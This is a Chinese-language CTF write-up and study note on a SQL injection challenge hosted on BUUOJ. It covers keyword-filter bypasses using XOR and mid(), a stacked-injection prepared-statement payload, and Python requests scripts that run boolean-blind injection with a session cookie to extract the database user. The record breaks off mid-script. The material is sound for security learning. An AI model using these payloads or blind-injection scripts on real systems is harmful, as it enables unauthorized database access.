参考:初末
一、自己做:
这里试addslash来的
用户信息中,把反斜线去掉展示的
在注册的用户名进行测试,
将 or , by 空格|
替换成为@
。
union select or 都过滤了
,然后在尝试 异或^
substr
也被过滤了,然后尝试mid
试可以的,
但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))
。注册页面不好使,然后就看WP了
二、 学到的&&不足:
-
有时候python脚本跑sql注入的题的时候要带上cookie。
我这样跑,总是爆500 。见下面的 -
学到了sql注入的预处理命令。
?id=2;set @sql=char(12,324,23,23,); prepare query from @sql; execute query;
-
异或的一点是,:怎么发现的 可以进行堆叠注入的啊,,
-
如果一些关键词被那啥了,可以进行编码绕过什么的,比如以前的那些16进制绕过,还有这个10进制绕过
url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''
res = requests.get(url=url)
print(res.url)
print(res.status_code)
print(res.text)
带上cookie后才200了
url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''
cookie = {
"PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}
res = requests.get(url=url,cookies = cookie)
print(res.url)
print(res.status_code)
print(res.text)
三、学习WP:
WP:2^(if(ascii(mid(user(),1,1))>0,0,1))
。这个行,但是不是在注册页面
可以修改id值,然后就改变页面,
我们就注入这里
用了这个if
语句试可以的
不用像WP一样加上if,就我们正常的boll盲注就可以,
用1^
进行异或的化,正确就是0,不正确才是0,异或后是1.,这时,name会出现admin。
正确的时候是1,异或后是0,name中不是admin,是空。那么我们python脚本抓的时候,就可以抓admin这个字样
然后照着这个思想写了个python脚本
for i in range(1,15):
for j in range(50,155):
url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),{},1))={})'''.format(i,j)
cookie = {
"PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}
res = requests.get(url=url,cookies = cookie) # 注意这里要带上cookie才行,不然跑脚本的化,是500
#print(res.url)
print(res.status_code)
#print(res.text)
content = re.findall('<h2>.*</h2>',res.text,re.M|re.I) # findall返回的是一个列表
#print(content)</